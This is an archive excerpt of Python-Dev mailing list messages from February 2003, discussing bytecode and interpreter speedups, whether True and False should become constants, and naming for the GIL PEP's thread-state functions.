    Raymond> constructs.  If the code generator can recognize it, ...

Yes, that would improve things, but it gets back to the issue that True
isn't strictly speaking a constant, but has to be evaluated each pass around
the loop.

None is moving slowly toward becoming a true constant.  Perhaps the same
should be true of True and False.

Skip


From dave@boost-consulting.com  Wed Feb 26 14:26:05 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Wed, 26 Feb 2003 09:26:05 -0500
Subject: [Python-Dev] Re: GIL Pep commentary
References: <ur89w83ht.fsf@boost-consulting.com> <001f01c2dd21$91339010$530f8490@eden>
Message-ID: <uu1er5daa.fsf@boost-consulting.com>

"Mark Hammond" <mhammond@skippinet.com.au> writes:

>> Good job, Mark!
>
> Thanks!  And while we are here, do you have any suggestions for the name, as
> per the start of the PEP?
>
> I am starting to think PyThreadState_Ensure() and PyThreadState_Release()
> are good enough names.  

I agree with you if you think that once you have "Ensure", "Auto" is a
bit redundant.  I personally like PyGIL_whatever; though people who
understand this at a deeper level than I will probably say that
there's more involved than just the GIL, for my purposes it's a simple
matter: do you have the GIL or don't you?

I've always used the word "Demand" to mean get/create it if it isn't
already there, so PyDemandGIL and PyReleaseGIL have a certain ring to
them.

> The only problem is that they are not really part of the same
> "family" as the other PyThreadState_* functions, and thus people may
> assume they can mix-and-match them.  OTOH, they clearly are
> ThreadState related functions, so are at least cousins to the rest
> of them!

Given that you're explicitly saying "all bets are off if you
mix-and-match these", I think making them very similar sounding is a
mistake.

> As far as I can tell, there are no technical issues remaining in this PEP -
> only naming and clarification.  Does anyone disagree with that?
>
> Keen-to-get-this-in-2.3 ly,

keen-to-see-it-there-ly,
-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From neal@metaslash.com  Wed Feb 26 14:32:06 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Wed, 26 Feb 2003 09:32:06 -0500
Subject: [Python-Dev] Bytecode idea
In-Reply-To: <3E5C3915.6070600@tismer.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com>
 <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C21E0.5010003@tismer.com>
 <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com>
Message-ID: <20030226143206.GV2041@epoch.metaslash.com>

On Wed, Feb 26, 2003 at 04:48:37AM +0100, Christian Tismer wrote:
> 
> Maybe it also makes sense to use indexing into a static
> array, instead of the case construct. Note that there
> can be one single such table for all opcodes and all cases,
> since opcodes are still disjoint. It depends where this
> table is stored and if this can get in the cache.
> 
> While I don't know if this really makes the interpreter
> more efficient, at least it makes it shorter to read
> and maybe easier to maintain.

Been there, done that:  http://python.org/sf/693638

I already rejected the patch. :-) Making my own jump table, rather
than using a switch was about 15% slower.  Read the patch for more
info.  While I'm sure the patch could be improved, I don't think it
would have made enough of a difference to make a change.

Neal


From tismer@tismer.com  Wed Feb 26 15:02:59 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 16:02:59 +0100
Subject: [Python-Dev] Bytecode idea
In-Reply-To: <00be01c2dd53$e7160800$125ffea9@oemcomputer>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a501c2dd4d$2f628040$125ffea9@oemcomputer> <3E5C437A.3030009@tismer.com> <00be01c2dd53$e7160800$125ffea9@oemcomputer>
Message-ID: <3E5CD723.3010707@tismer.com>

Raymond Hettinger wrote:
> This is true. I used this in my optimization from two
> years ago, and moved the oparg preparation into the
> opcode cases, not doing any test, but just fetching
> the argument.
> 
> 
> What happened to the optimization.  It is not in the
> current code?

No. At that time, ceval speedups were not
popular, so I used the optimization just
to make Stackless appear faster than CPython,
although CPython would have been *even more*
faster.

>>I also turned this into macros which
>>added to the insn pointer only once.
>>Incredible but true: Most of the win I gathered was
>>by typecasting the oparg access differently into
>>a reference to a short int, instead of oring two
>>bytes. 
> 
> 
> I skipped over that one because I thought that 
> it would fail on a big-endian computer.

Sure it would fail. But on little endian like
X86, it produced much faster code, so I only
defined it for certain platforms.

ciao - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From guido@python.org  Wed Feb 26 15:01:45 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 10:01:45 -0500
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: Your message of "Wed, 26 Feb 2003 07:53:22 CST."
 <15964.50898.230776.754217@montanaro.dyndns.org>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer>
 <15964.50898.230776.754217@montanaro.dyndns.org>
Message-ID: <200302261501.h1QF1kN19036@odiug.zope.com>

> None is moving slowly toward becoming a true constant.  Perhaps the same
> should be true of True and False.

Problem with this is that there's currently lots of code out there
that was recently modified to read

  try:
    True
  except NameError:
    True = 1
    False = 0

That would become a syntax error if True/False were true constants. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Wed Feb 26 15:10:35 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 16:10:35 +0100
Subject: [Python-Dev] Re: Bytecode idea
In-Reply-To: <b3hpr3$jgi$1@main.gmane.org>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <b3hpr3$jgi$1@main.gmane.org>
Message-ID: <3E5CD8EB.8060700@tismer.com>

Damien Morton wrote:
> Christian Tismer wrote:
> So what I would like to try is to merge all opcodes
> which have exactly the same pattern into one case,
> which then does the common preparation stuff and
> postprocessing including error handling, but internally
> dispatches on the function to be called.
> 
> 
> I tried this on the 2.3a2 source, modifying it to implement your idea.
> 
> This was implemented on top of the LOAD_FAST_n, etc, changes.
> 
> No luck - it makes the code slower by nearly 5%, decreasing a base 22300
> PyStones to 21100 PyStones. That is, the idea of using function pointers. I
> imagine that a case statement would be even slower.

Too bad. Hmm. Would you mind to send me the source code?
I'd like to see what code is generated.

> I didnt implement the table of function pointers as one monolithic table, as
> the unary and binary functions have different signatures.

They could live in the same table, but probably this
doesn't change memory layout at all.

A case statement might or might not be slower, a branch
might become a little more predictable than though
a function table.

And then, five percent is not bad. Did you measure
how much code you saved in the binary?

thanks - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From guido@python.org  Wed Feb 26 15:08:29 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 10:08:29 -0500
Subject: [Python-Dev] Re: module extension search order - can it be changed?
In-Reply-To: Your message of "Wed, 26 Feb 2003 08:04:25 EST."
 <7F171EB5E155544CAC4035F0182093F03CF74D@INGDEXCHSANC1.ingdirect.com>
References: <7F171EB5E155544CAC4035F0182093F03CF74D@INGDEXCHSANC1.ingdirect.com>
Message-ID: <200302261508.h1QF8d819189@odiug.zope.com>

> > Maybe, if the source file can't be found, it could
> > decompile the bytecode?
> 
> Too clever by far. The peculiar way in which the comments disappear,
> the fact that the code is wrong when I used a (so-far-non-existent)
> peephole optimizer to optimize my .pyc files... I'd rather show NO
> line (so long as we still give file and line number) than try to
> guess in an overly clever manner.

I thought for sure Greg had left off the smiley.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Wed Feb 26 15:14:14 2003
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 26 Feb 2003 09:14:14 -0600
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: <200302261501.h1QF1kN19036@odiug.zope.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien>
 <3E5BF9F6.1@tismer.com>
 <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C21E0.5010003@tismer.com>
 <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C32D0.4020509@tismer.com>
 <3E5C3915.6070600@tismer.com>
 <00a101c2dd4c$52ee5800$125ffea9@oemcomputer>
 <15964.50898.230776.754217@montanaro.dyndns.org>
 <200302261501.h1QF1kN19036@odiug.zope.com>
Message-ID: <15964.55750.86825.114047@montanaro.dyndns.org>

    >> None is moving slowly toward becoming a true constant.  Perhaps the
    >> same should be true of True and False.

    Guido> Problem with this is that there's currently lots of code out
    Guido> there that was recently modified to read

    Guido>   try:
    Guido>     True
    Guido>   except NameError:
    Guido>     True = 1
    Guido>     False = 0

    Guido> That would become a syntax error if True/False were true
    Guido> constants. :-(

Hmmm...  Those code blocks would only be executed on older versions of the
interpreter.  Is there some way to use that knowledge to finesse the
problem?  It would be a real hack, but if the compiler recognized precisely
the above construct (or at least assignment in an except block guarded by
NameError), it could shut up about the assignment.

Skip


From tismer@tismer.com  Wed Feb 26 15:20:45 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 16:20:45 +0100
Subject: [Python-Dev] Bytecode idea
In-Reply-To: <20030226143206.GV2041@epoch.metaslash.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <20030226143206.GV2041@epoch.metaslash.com>
Message-ID: <3E5CDB4D.708@tismer.com>

Neal Norwitz wrote:
> On Wed, Feb 26, 2003 at 04:48:37AM +0100, Christian Tismer wrote:
> 
>>Maybe it also makes sense to use indexing into a static
>>array, instead of the case construct. Note that there
>>can be one single such table for all opcodes and all cases,
>>since opcodes are still disjoint. It depends where this
>>table is stored and if this can get in the cache.
>>
>>While I don't know if this really makes the interpreter
>>more efficient, at least it makes it shorter to read
>>and maybe easier to maintain.
> 
> Been there, done that:  http://python.org/sf/693638
> 
> I already rejected the patch. :-) Making my own jump table, rather
> than using a switch was about 15% slower.

Oh, that was not what I meant. I also did this
two years ago and tossed it. Function calls
are too expensive.
What I mean was to fold opcodes by common patterns.
Unfortunately this is slower, too.

Anyway, I didn't want to get too deep into this.
Stopping wasting time now :-)

cheers - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From mchermside@ingdirect.com  Wed Feb 26 15:23:55 2003
From: mchermside@ingdirect.com (Chermside, Michael)
Date: Wed, 26 Feb 2003 10:23:55 -0500
Subject: [Python-Dev] Re: module extension search order - can it be changed?
Message-ID: <7F171EB5E155544CAC4035F0182093F04211DD@INGDEXCHSANC1.ingdirect.com>

Guido:
> I thought for sure Greg had left off the smiley.

Oh. Yes. Of course.

what-can-I-say-it-was-early-in-the-morning

-- Michael Chermside


From guido@python.org  Wed Feb 26 15:26:33 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 10:26:33 -0500
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: Your message of "Wed, 26 Feb 2003 00:59:11 EST."
 <000101c2dd5c$2fdcbb80$6401a8c0@damien>
References: <000101c2dd5c$2fdcbb80$6401a8c0@damien>
Message-ID: <200302261526.h1QFQXU19266@odiug.zope.com>

> I implemented LOAD_FAST_n, STORE_FAST_n, LOAD_CONST_n for n < 16
> 
> Getting a small 2% improvement in speed
> Going from about 21800 PyStones to 22300 PyStones; very hard to get
> consistent readings on the PyStones - anyone got any tips on how to get
> more consistent results under windows?

Upgrade to a real operating system. :-)

> Getting a small 3% reduction in .pyc filesizes
> os.path 24,929 unmodified
> os.path 24,149 with modifications
> 
> I sort of cheated on the switch statement to avoid the use of a goto.
> 
> 		opcode = NEXTOP();
> 		if (HAS_ARG(opcode))
> 			oparg = NEXTARG();
> 		...
> 		switch (opcode) {
> 		...
> 		case LOAD_FAST_14:
> 		case LOAD_FAST_15: 
> 			oparg = opcode - LOAD_FAST_0;
> 		case LOAD_FAST:
> 			x = GETLOCAL(oparg);
> 			if (x != NULL) {
> 				Py_INCREF(x);
> 			...

This is ok.

> I also altered the opcode.h file to use an enum for the opcodes instead
> of all those #defines. Much easier to re-arrange things that way. I have
> a feeling that most of the speedup (such that it is) comes from that
> re-arrangment, which packs the opcodes into a contiguous numeric space.
> I suspect that sorting the opcodes by frequency of access might also
> have some positive effect. Also, organising the opcodes and the switch
> statement so that frequently co-occuring opcodes are adjacent to each
> other might also have some positive effect.

Try that without the LOAD_XXX_n idea, so you can measure the effect of
each idea separately.

One problem with renumbering the opcodes is that you have to update
the "dis" module, which exports the opcodes as Python constants.
Maybe you should add some code there to regenerate the values from the
.h file, as is done in keyword.py and symbol.py.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Wed Feb 26 15:35:12 2003
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 26 Feb 2003 09:35:12 -0600
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <200302261526.h1QFQXU19266@odiug.zope.com>
References: <000101c2dd5c$2fdcbb80$6401a8c0@damien>
 <200302261526.h1QFQXU19266@odiug.zope.com>
Message-ID: <15964.57008.761437.319312@montanaro.dyndns.org>

    Guido> One problem with renumbering the opcodes is that you have to
    Guido> update the "dis" module, which exports the opcodes as Python
    Guido> constants.  Maybe you should add some code there to regenerate
    Guido> the values from the .h file, as is done in keyword.py and
    Guido> symbol.py.

I have long had a version of dis.py which imports opcode info from
a separate opcodes.py.  Perhaps it's time to make that change.  opcodes.py
could then be mostly generated automatically from Include/opcode.h.

(The reason for separating this out is to make opcode info available to
other modules, like peephole optimizers.)

Should I submit a patch?

Skip


From guido@python.org  Wed Feb 26 15:37:54 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 10:37:54 -0500
Subject: [Python-Dev] Bytecode idea
In-Reply-To: Your message of "Wed, 26 Feb 2003 04:48:37 +0100."
 <3E5C3915.6070600@tismer.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com>
 <3E5C3915.6070600@tismer.com>
Message-ID: <200302261538.h1QFc0M19322@odiug.zope.com>

Excuse me for not following this thread closely.  I believe many of
these ideas have been suggested before, but most haven't been
benchmarked rigorously.

If you really want fame and fortune, try designing a more
representative benchmark.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Feb 26 15:50:53 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 10:50:53 -0500
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: Your message of "Wed, 26 Feb 2003 09:14:14 CST."
 <15964.55750.86825.114047@montanaro.dyndns.org>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <200302261501.h1QF1kN19036@odiug.zope.com>
 <15964.55750.86825.114047@montanaro.dyndns.org>
Message-ID: <200302261550.h1QFotD19435@odiug.zope.com>

>     >> None is moving slowly toward becoming a true constant.  Perhaps the
>     >> same should be true of True and False.
> 
>     Guido> Problem with this is that there's currently lots of code out
>     Guido> there that was recently modified to read
> 
>     Guido>   try:
>     Guido>     True
>     Guido>   except NameError:
>     Guido>     True = 1
>     Guido>     False = 0
> 
>     Guido> That would become a syntax error if True/False were true
>     Guido> constants. :-(
> 
> Hmmm...  Those code blocks would only be executed on older versions of the
> interpreter.  Is there some way to use that knowledge to finesse the
> problem?  It would be a real hack, but if the compiler recognized precisely
> the above construct (or at least assignment in an except block guarded by
> NameError), it could shut up about the assignment.

You would have to do a fairly significant analysis of all code in the
module to know that there are no assignments to globals True or False
anywhere, *and* you would have to add a heuristic to cope with the
very code fragment above, *and* you would have to have a firm belief
that no other code would do

  import foo
  foo.True = "True"

I've often mentioned the first item above (per-module code analysis)
as doable, but it's not done.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Feb 26 15:52:16 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 10:52:16 -0500
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: Your message of "Wed, 26 Feb 2003 09:35:12 CST."
 <15964.57008.761437.319312@montanaro.dyndns.org>
References: <000101c2dd5c$2fdcbb80$6401a8c0@damien> <200302261526.h1QFQXU19266@odiug.zope.com>
 <15964.57008.761437.319312@montanaro.dyndns.org>
Message-ID: <200302261552.h1QFqHa19452@odiug.zope.com>

> I have long had a version of dis.py which imports opcode info from
> a separate opcodes.py.  Perhaps it's time to make that change.  opcodes.py
> could then be mostly generated automatically from Include/opcode.h.
> 
> (The reason for separating this out is to make opcode info available to
> other modules, like peephole optimizers.)
> 
> Should I submit a patch?

Yes please!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Wed Feb 26 16:00:11 2003
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Wed, 26 Feb 2003 11:00:11 -0500
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: <15964.55750.86825.114047@montanaro.dyndns.org>
References: <003101c2dd1c$04214ff0$6401a8c0@damien>
 <3E5BF9F6.1@tismer.com>
 <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C21E0.5010003@tismer.com>
 <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C32D0.4020509@tismer.com>
 <3E5C3915.6070600@tismer.com>
 <00a101c2dd4c$52ee5800$125ffea9@oemcomputer>
 <15964.50898.230776.754217@montanaro.dyndns.org>
 <200302261501.h1QF1kN19036@odiug.zope.com>
 <15964.55750.86825.114047@montanaro.dyndns.org>
Message-ID: <15964.58507.610959.438537@grendel.zope.com>

Skip Montanaro writes:
 > Hmmm...  Those code blocks would only be executed on older versions of the
 > interpreter.  Is there some way to use that knowledge to finesse the
 > problem?  It would be a real hack, but if the compiler recognized precisely
 > the above construct (or at least assignment in an except block guarded by
 > NameError), it could shut up about the assignment.

Another possibility would be that in a module containing *no*
assignments to True and False, references could be converted to
special byte codes.  Not quite the same, but allows for optimizations
at any rate.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From Paul Hughett <hughett@bbl.med.upenn.edu>  Wed Feb 26 16:04:12 2003
From: Paul Hughett <hughett@bbl.med.upenn.edu> (Paul Hughett)
Date: Wed, 26 Feb 2003 11:04:12 -0500
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: <15964.55750.86825.114047@montanaro.dyndns.org> (message from
 Skip Montanaro on Wed, 26 Feb 2003 09:14:14 -0600)
References: <003101c2dd1c$04214ff0$6401a8c0@damien>
 <3E5BF9F6.1@tismer.com>
 <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C21E0.5010003@tismer.com>
 <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C32D0.4020509@tismer.com>
 <3E5C3915.6070600@tismer.com>
 <00a101c2dd4c$52ee5800$125ffea9@oemcomputer>
 <15964.50898.230776.754217@montanaro.dyndns.org>
 <200302261501.h1QF1kN19036@odiug.zope.com> <15964.55750.86825.114047@montanaro.dyndns.org>
Message-ID: <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu>

    Guido> Problem with this is that there's currently lots of code out
    Guido> there that was recently modified to read

    Guido>   try:
    Guido>     True
    Guido>   except NameError:
    Guido>     True = 1
    Guido>     False = 0

    Guido> That would become a syntax error if True/False were true
    Guido> constants. :-(

> Hmmm...  Those code blocks would only be executed on older versions of the
> interpreter.  Is there some way to use that knowledge to finesse the
> problem?  It would be a real hack, but if the compiler recognized precisely
> the above construct (or at least assignment in an except block guarded by
> NameError), it could shut up about the assignment.

Would it be simpler to institute a special rule that True = 1 is silently
ignored, but True = anything else generates an error message?  Or am I
overlooking something important?

If you want to handle assigning to True an expression whose value is
known only at run time, translate it into

   if expression != 1 :
      raise Exception, "Attempt to assign invalid value to True"

which would give a run-time error without costing cycles anywhere else.


Paul Hughett


From guido@python.org  Wed Feb 26 16:14:35 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 11:14:35 -0500
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: Your message of "Wed, 26 Feb 2003 11:04:12 EST."
 <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <200302261501.h1QF1kN19036@odiug.zope.com> <15964.55750.86825.114047@montanaro.dyndns.org>
 <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu>
Message-ID: <200302261614.h1QGEaZ20140@odiug.zope.com>

> Would it be simpler to institute a special rule that True = 1 is silently
> ignored, but True = anything else generates an error message?  Or am I
> overlooking something important?

Some people prefer

  True = (1 > 0)

because this accesses the special integer (with value 1) that is used
by the interpreter for the outcome of boolean results .

> If you want to handle assigning to True an expression whose value is
> known only at run time, translate it into
> 
>    if expression != 1 :
>       raise Exception, "Attempt to assign invalid value to True"
> 
> which would give a run-time error without costing cycles anywhere else.

I suggest you try coming up with a patch for that to see how much work
it is.  I expect it to be tough.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Wed Feb 26 16:22:24 2003
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 26 Feb 2003 10:22:24 -0600
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu>
References: <003101c2dd1c$04214ff0$6401a8c0@damien>
 <3E5BF9F6.1@tismer.com>
 <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C21E0.5010003@tismer.com>
 <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C32D0.4020509@tismer.com>
 <3E5C3915.6070600@tismer.com>
 <00a101c2dd4c$52ee5800$125ffea9@oemcomputer>
 <15964.50898.230776.754217@montanaro.dyndns.org>
 <15964.55750.86825.114047@montanaro.dyndns.org>
 <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu>
Message-ID: <15964.59840.342254.176499@montanaro.dyndns.org>

    Paul> Would it be simpler to institute a special rule that True = 1 is
    Paul> silently ignored, but True = anything else generates an error
    Paul> message?  Or am I overlooking something important?

For code that wants to cleanly cross the boundary between Python with no
boolean type and Python with a boolean type, you sometimes see

    True = 1==1
    False = 1==0

You get True and False if it didn't exist before and have the added benefit
that if it does exist, it gets found in globals() or locals() instead of in
__builtins__ and has the right type.

Skip


From tismer@tismer.com  Wed Feb 26 16:27:04 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 17:27:04 +0100
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: <200302261614.h1QGEaZ20140@odiug.zope.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <200302261501.h1QF1kN19036@odiug.zope.com> <15964.55750.86825.114047@montanaro.dyndns.org>              <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <200302261614.h1QGEaZ20140@odiug.zope.com>
Message-ID: <3E5CEAD8.3010701@tismer.com>

Guido van Rossum wrote:
...

>>If you want to handle assigning to True an expression whose value is
>>known only at run time, translate it into
>>
>>   if expression != 1 :
>>      raise Exception, "Attempt to assign invalid value to True"

hehe. raise Exception, "Attempt to re-define truth :-)"

>>which would give a run-time error without costing cycles anywhere else.
> 
> 
> I suggest you try coming up with a patch for that to see how much work
> it is.  I expect it to be tough.

Yes. ciao - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From jeremy@zope.com  Wed Feb 26 16:55:29 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: Wed, 26 Feb 2003 11:55:29 -0500
Subject: [Python-Dev] Bytecode idea
In-Reply-To: <3E5CDB4D.708@tismer.com>
Message-ID: <AFELKANNALMBPOACBPADAEMFCAAA.jeremy@zope.com>

Chris Tismer wrote:
> Oh, that was not what I meant. I also did this
> two years ago and tossed it. Function calls
> are too expensive.
> What I mean was to fold opcodes by common patterns.
> Unfortunately this is slower, too.
>
> Anyway, I didn't want to get too deep into this.
> Stopping wasting time now :-)

Chris already knows this, but it's worth repeating for people who don't.  A
function call isn't always too expensive, it depends on how much work the
opcode is doing.  And it depends on lots of other hard-to-predict effects of
the generated code and its interaction with the memory system.

The various function call opcodes regularly call out to separate functions.
I recall benchmarking various options and often moving big chunks of code
out of the mainloop and into functions improved performance slightly.
Except when it didn't <0.3 wink>.

If you are benchmarking various opcode effects, I'd recommend trying to
revive the simple cycle counter instrumentation I did for Python 2.2.  The
idea is to use the Pentium cycle counter to measure the number of cycles
spent on each trip through the mainloop.  A rough conclusion from the
previous measurements was that trivial opcodes like POP_TOP can execute in
less than 100 cycles, including opcode dispatch.  An opcode that involves
calling out to a C function never executes in less than 100 cycles, and
often takes 100s of cycles.

There's a patch floating around sourceforge somewhere.

Jeremy



From zooko@zooko.com  Wed Feb 26 17:27:39 2003
From: zooko@zooko.com (Zooko)
Date: Wed, 26 Feb 2003 12:27:39 -0500
Subject: [Python-Dev] Bytecode idea
In-Reply-To: Message from "Jeremy Hylton" <jeremy@zope.com>
 of "Wed, 26 Feb 2003 11:55:29 EST." <AFELKANNALMBPOACBPADAEMFCAAA.jeremy@zope.com>
References: <AFELKANNALMBPOACBPADAEMFCAAA.jeremy@zope.com>
Message-ID: <E18o5LI-0007Ab-00@localhost>

 Jeremy Hylton wrote:
>
> If you are benchmarking various opcode effects, I'd recommend trying to
> revive the simple cycle counter instrumentation I did for Python 2.2.  The
> idea is to use the Pentium cycle counter to measure the number of cycles
> spent on each trip through the mainloop.

For Linux >= 2.4 and an x86 CPU, oprofile will tell you (stochastically) how 
many CPU cycles are spent on each x86 instruction.

http://oprofile.sourceforge.net/



From csv@mail.mojam.com  Wed Feb 26 18:03:20 2003
From: csv@mail.mojam.com (Skip Montanaro)
